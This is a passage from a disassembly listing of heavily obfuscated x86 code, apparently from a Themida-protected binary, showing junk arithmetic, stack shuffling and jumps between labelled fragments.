; ---------------------------------------------------------------------------


loc_5A0E28:				; CODE XREF: Themida_:0059AC2Bj
		shr	edx, 6
		xor	edx, 3A7CA09h
		add	edi, edx
		jmp	loc_5AC200
; ---------------------------------------------------------------------------


loc_5A0E38:				; CODE XREF: Themida_:0059E210j
					; Themida_:0059F88Dj
		pop	edi
		pop	eax
		jmp	loc_5AE4FC
; ---------------------------------------------------------------------------


loc_5A0E3F:				; CODE XREF: Themida_:0059D6B9j
		bts	[esp], ax
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A0E4A:				; CODE XREF: Themida_:0059E1D1j
		shl	ebx, 5
		not	ebx
		jmp	loc_5A29FA
; ---------------------------------------------------------------------------


loc_5A0E54:				; CODE XREF: Themida_:0059D50Dj
		not	edx
		jmp	loc_59EB5A
; ---------------------------------------------------------------------------


loc_5A0E5B:				; CODE XREF: Themida_:0059BE3Dj
					; Themida_:005AC1F8j
		mov	esp, [esp]
		mov	[esp], esi
		push	ebp
		mov	ebp, 2A77454Ch
		jmp	loc_5AED13
; ---------------------------------------------------------------------------


loc_5A0E6C:				; DATA XREF: Themida_:005986C4o
		mov	cx, [esp]
		push	esi
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	65DBh
		jmp	loc_599B76
; ---------------------------------------------------------------------------


loc_5A0E9D:				; CODE XREF: Themida_:005A4F33j
		mov	eax, 55B37624h
		dec	eax
		inc	eax
		add	eax, 29E0BA4h
		add	eax, 0CAC6A515h
		sub	edx, eax
		pop	eax
		add	edx, esi
		push	eax
		mov	eax, 5B5C0A4Eh
		push	edi
		jmp	loc_59E67C
; ---------------------------------------------------------------------------


loc_5A0EBF:				; CODE XREF: Themida_:005A4DEDj
					; Themida_:005AF2B3j
		xor	al, bl
		mov	bx, [esp]
		jmp	loc_5A5068
; ---------------------------------------------------------------------------


loc_5A0ECA:				; CODE XREF: Themida_:0059CA4Aj
		mov	[esp], ecx
		pop	edx
		pop	ecx
		jmp	loc_59A734
; ---------------------------------------------------------------------------


loc_5A0ED4:				; CODE XREF: Themida_:005A8E7Dj
		add	esp, 4
		xor	esi, edx
		push	dword ptr [esp]
		pop	edx
		push	eax
		jmp	loc_5A75B1
; ---------------------------------------------------------------------------


loc_5A0EE6:				; CODE XREF: Themida_:0059F528j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	bh, 44h
		push	6D72h
		mov	[esp], eax
		push	ecx
		mov	cl, 0CBh
		mov	ah, cl
		mov	ecx, [esp]
		add	esp, 4
		sub	bh, ah
		pop	eax
		sub	esp, 4
		mov	[esp], eax
		mov	ah, 60h
		sub	ah, 0CEh
		xor	bh, ah
		pop	eax
		push	ebx
		mov	bh, 0D1h
		jmp	loc_59B931
; ---------------------------------------------------------------------------


loc_5A0F1B:				; CODE XREF: Themida_:0059A268j
					; Themida_:loc_5A9011j
		add	[esp+4], ebx
		pop	ebx
		pop	edi
		add	edi, 4
		push	edx
		mov	edx, 79DD3BBCh
		jmp	loc_5A4F7F
; ---------------------------------------------------------------------------


loc_5A0F32:				; CODE XREF: Themida_:005AB44Cj
		mov	[esp], edi
		push	esp
		pop	edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 7BDC3B38h
		xor	ebx, 7BDC3B3Ch
		jmp	loc_5AD530
; ---------------------------------------------------------------------------


loc_5A0F50:				; CODE XREF: Themida_:005A06D0j
		mov	edi, 7B4D69C9h
		sub	edi, 0FFFFFFFFh
		jmp	loc_5ABF19
; ---------------------------------------------------------------------------


loc_5A0F60:				; CODE XREF: Themida_:005ADC92j
		or	ebp, 28287460h
		or	ebp, 16427A2Eh
		jmp	loc_59D829
; ---------------------------------------------------------------------------


loc_5A0F71:				; CODE XREF: Themida_:0059E3E4j
		push	ebx
		mov	ebx, 550865E2h
		and	edi, ebx
		pop	ebx
		jmp	loc_5ACA2B
; ---------------------------------------------------------------------------


loc_5A0F7F:				; CODE XREF: Themida_:005A2BCCj
		sub	eax, ebx
		pop	ebx
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5AF5FF
; ---------------------------------------------------------------------------


loc_5A0F8B:				; CODE XREF: Themida_:005AF931j
		add	esi, edx
		sub	esi, 6AB21CF3h
		pop	edx
		jmp	loc_5AE9F4
; ---------------------------------------------------------------------------


loc_5A0F99:				; CODE XREF: Themida_:0059C647j
		mov	edi, 35EF59CFh
		push	35EF59D3h
		pop	ebp
		sub	ebp, edi
		jmp	loc_5AE0E7
; ---------------------------------------------------------------------------


loc_5A0FAB:				; CODE XREF: Themida_:0059A2A5j
		jns	loc_59CB55
		add	esi, 21BD7600h
		shl	esi, 7
		xor	esi, 85E1A442h
		sub	eax, 12D16A88h
		add	eax, esi
		add	eax, 12D16A88h
		pop	esi
		jmp	loc_5A0459
; ---------------------------------------------------------------------------


loc_5A0FD2:				; CODE XREF: Themida_:005A6552j
		mov	edi, [esp]
		push	eax
		jmp	loc_5AF15A
; ---------------------------------------------------------------------------


loc_5A0FDB:				; CODE XREF: Themida_:0059FF1Dj
		add	edx, 1
		jmp	loc_5ABB72
; ---------------------------------------------------------------------------


loc_5A0FE3:				; CODE XREF: Themida_:005AE7ACj
		sub	si, 5B65h
		mov	cx, si
		jmp	loc_598EDA
; ---------------------------------------------------------------------------


loc_5A0FF0:				; CODE XREF: Themida_:005A7CFFj
		mov	cl, 0C6h
		add	cl, 0C5h
		jge	loc_598F7F
		add	cl, 6Eh
		shr	cl, 8
		xor	cl, 63h
		jg	loc_5A648F
		push	eax
		mov	ah, 68h
		push	ebx
		mov	bh, 50h
		dec	bh
		sub	al, 72h
		push	esi


loc_5A1015:				; CODE XREF: Themida_:005A73F5j
		push	3C23h
		jmp	loc_5AA59E
; ---------------------------------------------------------------------------


loc_5A101F:				; CODE XREF: Themida_:005996E1j
					; Themida_:005A221Aj
		add	ebx, edi
		add	ebx, 48B92AFEh
		push	edx
		push	edi
		mov	edi, 4E683415h
		mov	edx, 4E683415h
		xor	edx, edi
		jmp	loc_59BD41
; ---------------------------------------------------------------------------


loc_5A103A:				; DATA XREF: Themida_:00598838o
		mov	ax, [esp]
		sub	esp, 4
		jmp	loc_5AF7B6
; ---------------------------------------------------------------------------


loc_5A1049:				; CODE XREF: Themida_:005A5168j
		sub	bl, 7Dh
		sub	bl, 0D4h
		jmp	loc_5AE006
; ---------------------------------------------------------------------------


loc_5A1054:				; CODE XREF: Themida_:0059D336j
		push	2084h
		mov	[esp], ecx
		jmp	loc_59DB3A
; ---------------------------------------------------------------------------


loc_5A1061:				; CODE XREF: Themida_:005A0C48j
		xchg	ebx, [esp]
		jmp	loc_5ACE12
; ---------------------------------------------------------------------------


loc_5A1069:				; CODE XREF: Themida_:0059906Aj
		sub	bl, dh
		mov	dx, [esp]
		jmp	loc_5AD29B
; ---------------------------------------------------------------------------


loc_5A1074:				; CODE XREF: Themida_:005AABDEj
		mov	[esp], esi
		mov	esi, 213021D1h
		or	esi, 0FDB36A9h
		sub	esi, 51360E8h
		add	esi, 0EF8D5810h
		sub	edx, 358C6F91h
		jmp	loc_5989FD
; ---------------------------------------------------------------------------


loc_5A1099:				; CODE XREF: Themida_:loc_5A8C7Ej
		add	ebp, 18D9CE2Ch
		sub	[esp+4], ebp
		jmp	loc_5A7A50
; ---------------------------------------------------------------------------


loc_5A10A8:				; CODE XREF: Themida_:005AF9D3j
		push	74C5h
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_59A503
; ---------------------------------------------------------------------------


loc_5A10BE:				; CODE XREF: Themida_:005AD0DEj
		add	ebx, edx
		add	ebx, 9577FA9h
		jmp	loc_59ABEC
; ---------------------------------------------------------------------------


loc_5A10CB:				; CODE XREF: Themida_:005AD397j
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_5A70EE
; ---------------------------------------------------------------------------


loc_5A10DF:				; CODE XREF: Themida_:005AA228j
		push	ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 4
		jmp	loc_5A3953
; ---------------------------------------------------------------------------


loc_5A10F5:				; CODE XREF: Themida_:005A211Fj
		mov	ebp, esp
		jmp	loc_59F410
; ---------------------------------------------------------------------------


loc_5A10FC:				; CODE XREF: Themida_:005A6484j
		sub	al, bl
		sub	al, 26h
		push	6014h
		mov	[esp], ecx
		push	2250h
		mov	[esp], edx
		push	4D02h
		mov	[esp], ebx
		mov	bl, 0B9h
		jmp	loc_5A4F9F
; ---------------------------------------------------------------------------


loc_5A111F:				; CODE XREF: Themida_:005A1832j
		pop	eax
		push	edi
		push	esp
		jmp	loc_59CD2B
; ---------------------------------------------------------------------------


loc_5A1127:				; CODE XREF: Themida_:005AD577j
		jmp	loc_5AA911
; ---------------------------------------------------------------------------


loc_5A112C:				; CODE XREF: Themida_:005AB0AAj
		add	esp, 4
		sub	esi, 4
		xor	esi, [esp]
		jmp	loc_59BE37
; ---------------------------------------------------------------------------


loc_5A113D:				; CODE XREF: Themida_:005ABB12j
		sub	edi, 0E7C5511Dh
		xor	edi, 57BA39A8h
		jmp	loc_59A550
; ---------------------------------------------------------------------------


loc_5A114E:				; CODE XREF: Themida_:005A89ACj
		not	ebp
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	edi
		add	edi, 9470620Bh
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	ebx, 450C4122h
		sub	ebx, eax
		add	ebx, 450C4122h
		push	0F91h
		mov	[esp], ecx
		jmp	loc_59F970
; ---------------------------------------------------------------------------


loc_5A118E:				; CODE XREF: Themida_:0059A75Ej
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5A954E
; ---------------------------------------------------------------------------


loc_5A11A1:				; CODE XREF: Themida_:005A8605j
		jnz	loc_5A993D
		dec	esi
		jg	loc_5A5AFD
		mov	ah, ch
		mov	ebx, edi


loc_5A11B2:				; CODE XREF: Themida_:005A83CAj
		sub	dx, 4949h
		pop	ax
		xor	ax, dx
		mov	edx, [esp]
		add	esp, 4
		push	edx
		jmp	loc_5A76ED
; ---------------------------------------------------------------------------


loc_5A11C8:				; CODE XREF: Themida_:005A7CE3j
		jns	loc_5A5E1C
		jmp	loc_5AD6F0
; ---------------------------------------------------------------------------


loc_5A11D3:				; CODE XREF: Themida_:005ACB2Aj
		sub	esi, 0A17FFD5Fh
		and	ecx, esi
		pop	esi
		shr	ecx, 7
		push	ecx
		mov	ecx, 1Ch
		jmp	loc_59E6D7
; ---------------------------------------------------------------------------


loc_5A11EA:				; CODE XREF: Themida_:005A24E6j
		pop	ecx
		jmp	loc_5A8051
; ---------------------------------------------------------------------------


loc_5A11F0:				; CODE XREF: Themida_:005A4708j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		shl	edi, 2
		jmp	loc_5AF76E
; ---------------------------------------------------------------------------


loc_5A11FF:				; CODE XREF: Themida_:005A5457j
					; Themida_:005AEE65j
		add	eax, ebp
		add	eax, 57515842h
		pop	ebp
		jmp	loc_5A4674
; ---------------------------------------------------------------------------


loc_5A120C:				; CODE XREF: Themida_:005AA656j
		push	dword ptr [eax]
		jmp	loc_5A4680
; ---------------------------------------------------------------------------


loc_5A1213:				; CODE XREF: Themida_:005AEA4Bj
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp],	cl
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A1222:				; CODE XREF: Themida_:005A981Ej
		mov	ch, 0Eh
		sub	ch, 62h
		push	cx
		dec	byte ptr [esp+1]
		pop	cx
		add	ch, 55h
		jmp	loc_5AAA41
; ---------------------------------------------------------------------------


loc_5A1237:				; CODE XREF: Themida_:005A2BA8j
		mov	dh, ch
		mov	bl, dh
		pop	edx
		mov	ch, ah
		jmp	loc_5994D5
; ---------------------------------------------------------------------------


loc_5A1243:				; CODE XREF: Themida_:005A69EEj
		xor	ch, 0D0h
		add	dh, ch
		pop	ecx
		push	bx
		mov	bh, 62h
		add	dh, 5Fh
		sub	dh, bh
		jmp	loc_5AD7EF
; ---------------------------------------------------------------------------


loc_5A1257:				; CODE XREF: Themida_:0059F72Cj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5AE776
; ---------------------------------------------------------------------------


loc_5A126A:				; CODE XREF: Themida_:005A6D77j
		mov	ch, 47h
		push	ecx
		jmp	loc_5A1C2C
; ---------------------------------------------------------------------------


loc_5A1272:				; CODE XREF: Themida_:005AF3C0j
		and	[edi+1Ch], ebx
		mov	ebx, [esp]
		push	ecx
		jmp	loc_5A7F9E
; ---------------------------------------------------------------------------


loc_5A127E:				; CODE XREF: Themida_:0059E7C5j
		push	edx
		push	edi
		mov	edi, 41891B27h
		mov	edx, 0BD60AEEh
		add	edx, 6FD94CA4h
		sub	edx, 0AA3FFDh
		add	edx, edi
		jmp	loc_5AE851
; ---------------------------------------------------------------------------


loc_5A129D:				; CODE XREF: Themida_:005AB759j
		sub	al, dl
		add	al, 0D9h
		add	al, 67h
		pop	edx
		push	edx
		mov	dh, 0BEh
		sub	al, dh
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5A4D65
; ---------------------------------------------------------------------------


loc_5A12C3:				; CODE XREF: Themida_:00598C13j
		mov	[esp], dx
		push	ecx
		mov	cl, 31h
		jmp	loc_5A43BE
; ---------------------------------------------------------------------------


loc_5A12CF:				; CODE XREF: Themida_:0059A414j
		add	esp, 4
		jmp	loc_59F14F
; ---------------------------------------------------------------------------


loc_5A12DA:				; CODE XREF: Themida_:00598CAFj
		neg	esi
		shl	esi, 6
		push	eax
		mov	eax, 7BDF53D7h
		jmp	loc_5AFCEA
; ---------------------------------------------------------------------------


loc_5A12EA:				; CODE XREF: Themida_:005AC2B0j
		pop	edi
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A12F7:				; CODE XREF: Themida_:005A2312j
		sub	ecx, esi
		pop	esi
		push	5DE2h
		mov	[esp], edx
		mov	edx, 2D3E3966h
		and	edx, 50EA7A1Ah
		neg	edx
		xor	edx, 4A01C94h
		jmp	loc_59A9EC
; ---------------------------------------------------------------------------


loc_5A131A:				; CODE XREF: Themida_:005A8FFFj
		pop	edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		add	esp, 4
		inc	dword ptr [esp]
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A1348:				; CODE XREF: Themida_:005A3383j
		not	esi
		not	esi
		add	esi, 7D027935h
		sub	ecx, esi
		pop	esi
		push	ecx
		add	dword ptr [esp], 6E7A051Fh
		pop	edx
		jmp	loc_59AA1F
; ---------------------------------------------------------------------------


loc_5A1363:				; CODE XREF: Themida_:005A5EDBj
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		not	edx
		jmp	loc_5AF379
; ---------------------------------------------------------------------------


loc_5A1370:				; CODE XREF: Themida_:0059D5C9j
		add	esp, 4
		push	ebx
		mov	ebx, 6AB26D1h
		mov	eax, 0C32D65F0h
		xor	eax, ebx
		pop	ebx
		add	eax, edx
		mov	edx, [esp]
		push	191Dh
		jmp	loc_59D808
; ---------------------------------------------------------------------------


loc_5A1393:				; CODE XREF: Themida_:005AAF7Ej
		push	374F0B20h
		pop	esi
		mov	edi, 0B26D7C8Fh
		jmp	loc_599131
; ---------------------------------------------------------------------------


loc_5A13A3:				; CODE XREF: Themida_:0059A758j
		push	ebx
		push	3EB31162h
		pop	ebx
		not	ebx
		push	eax
		mov	eax, 60D452E9h
		and	ebx, eax
		pop	eax
		jmp	loc_59D351
; ---------------------------------------------------------------------------


loc_5A13BA:				; CODE XREF: Themida_:0059CFE0j
		add	ecx, 4F542409h
		neg	ecx
		xor	ecx, 1E8E7F5Bh
		shr	ecx, 4
		add	ecx, 1A6575A7h
		jmp	loc_5A817D
; ---------------------------------------------------------------------------


loc_5A13D6:				; CODE XREF: Themida_:005A66A4j
		xor	edx, 7F2C0A9Ch
		jnb	loc_59CD1E
		sub	edx, 0B9B10C40h
		not	edx
		mov	bl, dl
		mov	ecx, edx


loc_5A13EE:				; CODE XREF: Themida_:005A6BB0j
		add	esp, 4
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A13F6:				; CODE XREF: Themida_:005A591Cj
		push	edx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5A7319
; ---------------------------------------------------------------------------


loc_5A1402:				; CODE XREF: Themida_:0059DC64j
		pop	edx
		mov	ebx, ecx
		jmp	loc_5A656B
; ---------------------------------------------------------------------------


loc_5A140A:				; CODE XREF: Themida_:005A6430j
		sub	ecx, 37B9612Dh
		jmp	loc_5A931F
; ---------------------------------------------------------------------------


loc_5A1415:				; CODE XREF: Themida_:005A0CB2j
		pop	esi
		jmp	loc_599A5B
; ---------------------------------------------------------------------------


loc_5A141B:				; CODE XREF: Themida_:005AE714j
		add	esi, 5BB27A06h
		add	esi, 5DA14A01h
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_5A529D
; ---------------------------------------------------------------------------


loc_5A144D:				; CODE XREF: Themida_:00599F29j
		xor	ebx, 6F7C8B28h
		push	ebx
		jmp	loc_59FF36
; ---------------------------------------------------------------------------


loc_5A1459:				; CODE XREF: Themida_:0059F07Bj
		mov	ebp, 10B311Eh
		add	eax, ebp
		pop	ebp
		add	eax, 2A2FBFF7h
		mov	ebx, eax
		pop	eax
		sub	[esp+0Ch], ebx
		pop	ebx
		mov	ebp, [esp]
		add	esp, 4
		add	[esp+4], edi
		add	dword ptr [esp+4], 580248E3h
		sub	dword ptr [esp+4], 1DCD7D40h
		jmp	loc_5A42F3
; ---------------------------------------------------------------------------


loc_5A1490:				; CODE XREF: Themida_:005A64E5j
		pop	ebp
		add	esp, 4
		jmp	loc_59E379
; ---------------------------------------------------------------------------


loc_5A149C:				; CODE XREF: Themida_:005ADEC1j
		pop	edx
		neg	bl
		shl	bl, 4
		sub	bl, 64h
		sub	al, 89h
		add	al, bl
		add	al, 89h
		jmp	loc_5AB136
; ---------------------------------------------------------------------------


loc_5A14B0:				; CODE XREF: Themida_:0059E13Dj
		push	cx
		jmp	loc_5993A1
; ---------------------------------------------------------------------------


loc_5A14B7:				; DATA XREF: Themida_:00598728o
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		push	75CFh
		jmp	loc_5AB065
; ---------------------------------------------------------------------------


loc_5A14CB:				; CODE XREF: Themida_:005A1FC5j
		pop	esp
		mov	[esp], ecx
		push	dx
		mov	dl, 8Eh
		push	eax
		mov	ah, dl
		mov	ch, ah
		mov	eax, [esp]
		add	esp, 4
		pop	dx
		jmp	loc_5A2AEA
; ---------------------------------------------------------------------------


loc_5A14E5:				; CODE XREF: Themida_:0059FCE5j
		mov	bh, dl
		pop	edx
		pop	ecx
		xor	ch, bh
		pop	bx
		sub	al, ch
		mov	ecx, [esp]
		add	esp, 4
		push	5315h
		jmp	loc_5A6D62
; ---------------------------------------------------------------------------


loc_5A14FF:				; CODE XREF: Themida_:005A6547j
		add	esi, 410545E5h
		mov	ebx, esi
		jmp	loc_5A4879
; ---------------------------------------------------------------------------


loc_5A150C:				; CODE XREF: Themida_:005A64AFj
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_5AB63B
; ---------------------------------------------------------------------------


loc_5A1517:				; CODE XREF: Themida_:005A9D8Dj
		add	ecx, edi
		add	ecx, 4F11B51h
		sub	ecx, 4919103Bh
		push	dword ptr [ecx]
		xor	dword ptr [esp], 7D0D34B5h
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 74F56C82h
		dec	edx
		push	2DB4h
		mov	[esp], ecx
		jmp	loc_59CD33
; ---------------------------------------------------------------------------


loc_5A1550:				; CODE XREF: Themida_:005993B1j
					; Themida_:005A20F6j
		mov	esi, 211530B8h
		push	edi
		mov	edi, 5EC5120h
		shr	edi, 8
		sub	edi, 555724A2h
		sub	esi, edi
		pop	edi
		add	ebx, 75D23FB7h
		sub	ebx, 2F087D67h
		sub	ebx, esi
		add	ebx, 2F087D67h
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_59DD56
; ---------------------------------------------------------------------------


loc_5A1589:				; CODE XREF: Themida_:005AE1F6j
		add	edi, 30410FD4h
		push	ecx
		push	ebp
		mov	ebp, 2BAD3499h
		mov	ecx, ebp
		pop	ebp
		sub	edi, ecx
		pop	ecx
		add	edi, esi
		add	edi, 2BAD3499h
		jmp	loc_59E1D6
; ---------------------------------------------------------------------------


loc_5A15A9:				; CODE XREF: Themida_:005ABA98j
		mov	[esp], eax
		jmp	loc_599B84
; ---------------------------------------------------------------------------


loc_5A15B1:				; CODE XREF: Themida_:005A33B6j
		push	dword ptr [esp]
		pop	edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_59DF5F
; ---------------------------------------------------------------------------


loc_5A15C9:				; CODE XREF: Themida_:005A2292j
		push	922h
		mov	[esp], ebx
		push	edx
		mov	edx, 167D6F7Ah
		mov	ebx, edx
		pop	edx
		push	ecx
		mov	ecx, 52F113D6h
		or	ecx, 556E602Fh
		not	ecx
		not	ecx
		push	esi
		mov	esi, 0DCF9E2D5h
		add	ecx, esi
		pop	esi
		or	ebx, ecx
		mov	ecx, [esp]
		push	748Ah
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_59937B
; ---------------------------------------------------------------------------


loc_5A1614:				; CODE XREF: Themida_:005ADD4Fj
		shl	esi, 3
		shl	esi, 5
		dec	esi
		neg	esi
		jmp	loc_5AB20D
; ---------------------------------------------------------------------------


loc_5A1622:				; CODE XREF: Themida_:005A4372j
		pop	esi
		mov	edi, [esp]
		add	esp, 4
		push	edx
		mov	edx, 4D456C12h
		shl	edx, 7
		dec	edx
		add	edx, 5D49F705h
		add	edi, 15FD3761h
		add	edi, edx
		jmp	loc_5AA0EC
; ---------------------------------------------------------------------------


loc_5A1646:				; CODE XREF: Themida_:0059AE76j
		add	edi, esi
		add	edi, 0FAD7AF2h
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5A7B80
; ---------------------------------------------------------------------------


loc_5A1659:				; CODE XREF: Themida_:loc_5A4FC2j
		not	eax
		add	eax, 0CE517951h
		jmp	loc_59E6E9
; ---------------------------------------------------------------------------


loc_5A1665:				; CODE XREF: Themida_:0059BA29j
		push	ebx
		jmp	loc_59E1C6
; ---------------------------------------------------------------------------


loc_5A166B:				; CODE XREF: Themida_:loc_59A53Cj
		xchg	edi, esi
		jmp	loc_59920E
; ---------------------------------------------------------------------------


loc_5A1672:				; CODE XREF: Themida_:005A9ABDj
		mov	ecx, edi
		mov	edi, [esp]
		jmp	loc_5AD4E1
; ---------------------------------------------------------------------------


loc_5A167C:				; CODE XREF: Themida_:0059D815j
		xchg	eax, [esp]
		mov	esp, [esp]
		sub	[edi+20h], eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59E7FD
; ---------------------------------------------------------------------------


loc_5A1693:				; CODE XREF: Themida_:005ACFAAj
		add	esp, 4
		add	ebp, 4
		push	ecx
		push	ebx
		mov	ebx, 43585629h
		neg	ebx
		add	ebx, 0BDBA829Bh
		jmp	loc_5A859D
; ---------------------------------------------------------------------------


loc_5A16B0:				; CODE XREF: Themida_:005A1B51j
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A16C4:				; CODE XREF: Themida_:005A76B5j
		pop	edx
		sub	edi, ecx
		pop	ecx
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ch, 75h
		jmp	loc_5AB7C7
; ---------------------------------------------------------------------------


loc_5A16DE:				; CODE XREF: Themida_:0059A03Fj
		pop	esp
		jmp	loc_5999AE
; ---------------------------------------------------------------------------


loc_5A16E4:				; DATA XREF: Themida_:00598858o
		push	dword ptr [edi+3Ch]
		jmp	loc_59E963
; ---------------------------------------------------------------------------


loc_5A16EC:				; CODE XREF: Themida_:005AA42Cj
		mov	edx, 4
		add	edi, edx
		pop	edx
		push	ecx
		mov	ecx, 4
		jmp	loc_59D468
; ---------------------------------------------------------------------------


loc_5A16FF:				; CODE XREF: Themida_:005AD85Ej
		mov	ecx, [esp]
		add	esp, 4
		xor	edx, 7354D4E7h
		mov	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		xor	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	eax, edx
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_59B18F
; ---------------------------------------------------------------------------


loc_5A1739:				; CODE XREF: Themida_:0059B5ADj
		pop	eax
		xor	[esp+4], edi
		pop	edi
		jmp	loc_5A0DE7
; ---------------------------------------------------------------------------


loc_5A1744:				; CODE XREF: Themida_:005A1F76j
		push	ecx
		mov	ecx, 6C95F6Bh
		add	ecx, 0A5C785EEh
		jmp	loc_5A2018
; ---------------------------------------------------------------------------


loc_5A1755:				; CODE XREF: Themida_:0059F27Cj
		mov	esp, [esp]
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A175D:				; CODE XREF: Themida_:005A6425j
		not	ah
		jmp	loc_5A8FCA
; ---------------------------------------------------------------------------
		lodsd
		push	edx
		mov	edx, 71E2B84h
		sub	esp, 4
		jmp	loc_5A4610
; ---------------------------------------------------------------------------


loc_5A1776:				; CODE XREF: Themida_:00598F7Aj
		shl	edx, 1
		push	edi
		mov	edi, 0D1DB5F62h
		add	edx, edi
		pop	edi
		sub	eax, 40F37250h
		add	eax, edx
		add	eax, 40F37250h
		pop	edx
		xor	eax, [esp]
		jmp	loc_5AD741
; ---------------------------------------------------------------------------


loc_5A1796:				; CODE XREF: Themida_:005A57FFj
		pop	bx
		push	ebx
		sub	esp, 4
		mov	[esp], ecx
		push	edx
		mov	dl, 50h
		mov	ch, dl
		jmp	loc_5AA4CA
; ---------------------------------------------------------------------------


loc_5A17AC:				; CODE XREF: Themida_:005A855Ej
		add	dword ptr [esp], 4A1C79ADh
		sub	[esp], ebp
		sub	dword ptr [esp], 4A1C79ADh
		jmp	loc_59A5C3
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edx
		jmp	loc_5ADDAB
; ---------------------------------------------------------------------------


loc_5A17CC:				; CODE XREF: Themida_:005ADCAAj
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		xor	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_59E827
; ---------------------------------------------------------------------------


loc_5A17E9:				; CODE XREF: Themida_:0059B875j
		mov	bl, 68h
		push	ecx
		mov	cl, bl
		mov	dh, cl
		pop	ecx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	dh, 9Ah
		add	dh, 1
		sub	dh, 0ACh
		push	ecx
		mov	ch, dh
		push	edx
		jmp	loc_5A5B97
; ---------------------------------------------------------------------------


loc_5A180A:				; CODE XREF: Themida_:005AE0F4j
		mov	edi, 4
		add	edx, edi
		jmp	loc_59DE14
; ---------------------------------------------------------------------------


loc_5A1816:				; CODE XREF: Themida_:0059BB29j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		jmp	loc_5AE273
; ---------------------------------------------------------------------------


loc_5A1830:				; CODE XREF: Themida_:005AA20Aj
		add	bl, al
		jmp	loc_5A111F
; ---------------------------------------------------------------------------


loc_5A1837:				; CODE XREF: Themida_:005A2868j
		pop	dword ptr [esp]
		mov	esp, [esp]
		imul	cx
		push	small 6E5Eh
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A1850:				; CODE XREF: Themida_:005994C4j
		xchg	edx, esi
		not	edx
		xchg	edx, esi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_5A2824
; ---------------------------------------------------------------------------


loc_5A1874:				; CODE XREF: Themida_:0059A3B3j
		add	eax, 41B169E9h
		add	eax, 2AC5242Dh
		sub	eax, edi
		sub	eax, 2AC5242Dh
		sub	eax, 41B169E9h
		push	ecx
		jmp	loc_5A3631
; ---------------------------------------------------------------------------


loc_5A1890:				; CODE XREF: Themida_:005A2CC7j
		inc	edx
		neg	edx
		sub	edx, 1
		neg	edx
		push	edi
		jmp	loc_5AB794
; ---------------------------------------------------------------------------


loc_5A189E:				; CODE XREF: Themida_:005AA64Ej
		mov	[esp], ebx
		push	1B28h
		mov	[esp], esp
		push	ebp
		mov	ebp, 4
		jmp	loc_59924C
; ---------------------------------------------------------------------------


loc_5A18B4:				; CODE XREF: Themida_:005A2BA0j
		mov	ebp, 69E30F6Ah
		not	ebp
		inc	ebp
